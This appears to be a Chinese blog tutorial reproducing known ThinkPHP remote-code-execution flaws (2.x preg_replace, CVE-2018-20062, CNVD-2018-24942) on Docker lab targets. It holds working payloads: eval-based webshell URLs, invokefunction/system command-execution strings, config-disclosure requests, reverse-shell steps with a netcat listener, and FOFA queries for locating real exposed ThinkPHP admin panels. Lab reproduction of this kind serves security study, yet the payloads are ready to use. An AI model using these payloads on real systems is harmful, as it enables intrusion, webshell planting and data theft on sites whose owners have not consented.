Thinkphp历史漏洞复现

Thinkphp简介

Thinkphp 是一种开源框架。是一个由国人开发的支持 windows/Unix/Linux 等服务器环境的轻量级PHP开发框架。
很多cms(内容管理系统)就是基于 thinkphp 二次开发的,所以 thinkphp 出问题的话,会影响很多基于 thinkphp 开发的网站。

Thinkphp常见漏洞影响版本

ThinkPHP2.x 任意代码执行漏洞
ThinkPHP3.2.3 缓存函数设计缺陷可导致Getshell
ThinkPHP3.2.3 最新版update注入漏洞
ThinkPHP3.2.X find_select_delete注入
ThinkPHP3.X order_by注入漏洞
ThinkPHP5.0.X sql注入漏洞
ThinkPHP5.0.10 缓存函数设计缺陷可导致Getshell
ThinkPHP5 SQL注入漏洞&&敏感信息泄露
ThinkPHP5.X order_by注入漏洞
ThinkPHP5.X 远程代码执行

FOFA搜索

header="thinkphp" && country="US" header="thinkphp" && country="US" && title="后台管理"

Thinkphp 2.x 任意代码执行漏洞

漏洞简介

ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,
$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

漏洞复现

  1. docker搭建靶场环境
ls
cd thinkphp
ls
cd 2-rce
ls
docker-compose up -d

Thinkphp历史漏洞复现_第1张图片

  1. 访问靶场地址。
    Thinkphp历史漏洞复现_第2张图片

  2. 验证漏洞是否存在。

http://171.16.1.106:8080/index.php?s=/index/index/name/${@phpinfo()}
或者
http://171.16.1.106:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D

Thinkphp历史漏洞复现_第3张图片

  1. 构造poc
http://171.16.1.106:8080/index.php?s=a/b/c/${@print(eval($_POST[zsyy]))}

Thinkphp历史漏洞复现_第4张图片

  1. 使用蚁剑测试连接。
    Thinkphp历史漏洞复现_第5张图片

  2. getshell。
    Thinkphp历史漏洞复现_第6张图片

  3. 构造poc,使用抓包工具burp suite,修改数据包插入poc。
    抓包后发送到重发器
    Thinkphp历史漏洞复现_第7张图片更换http请求方式为post。
    Thinkphp历史漏洞复现_第8张图片
    修改包数据,检验漏洞。
    Thinkphp历史漏洞复现_第9张图片发现执行成功。

Thinkphp5.0.23远程代码执行漏洞(CVE-2018-20062)

漏洞简介

Thinkphp5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞

影响版本:
Thinkphp 5.0.0~ 5.0.23

漏洞复现

  1. docker搭建靶场环境
ls
cd thinkphp
ls
cd 5.0.23-rce
ls
docker-compose up -d

Thinkphp历史漏洞复现_第10张图片

  1. 访问靶场地址。
    Thinkphp历史漏洞复现_第11张图片

  2. 构造poc,使用抓包工具burp suite,修改数据包插入poc。
    Thinkphp历史漏洞复现_第12张图片

反弹shell

  1. 在攻击机新建xx.sh,写入bash反弹shell命令。
    Thinkphp历史漏洞复现_第13张图片
    IP为攻击机的ip,端口自定义

  2. 攻击机开启监听。

python3 -m http.server 80

在这里插入图片描述另开一个窗口执行:

nc64.exe -lvp 6666

在这里插入图片描述

  1. 使用抓包工具burp suite,修改数据包。
    Thinkphp历史漏洞复现_第14张图片
  2. 成功反弹shell。Thinkphp历史漏洞复现_第15张图片

ThinkPHP 5.0.x 未开启强制路由导致的RCE 漏洞分析(CNVD-2018-24942)

原理:框架对传入的路由参数过滤不严格,导致攻击者可以操作非预期的控制器类来远程执行代码。

影响版本:

ThinkPHP 5.0.5-5.0.22 || 5.1.0-5.1.30

漏洞复现

  1. docker搭建靶场环境。
ls
cd thinkphp
ls
cd 5-rce
ls
docker-compose up -d

Thinkphp历史漏洞复现_第16张图片

  1. 访问靶场。写入poc。
    poc1:
ip+/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=-1

Thinkphp历史漏洞复现_第17张图片
poc2:
5.1.x:

?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.0.x:

?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id #命令执行

Thinkphp历史漏洞复现_第18张图片Thinkphp历史漏洞复现_第19张图片

你可能感兴趣的:(漏洞复现,安全,网络安全,web安全,系统安全)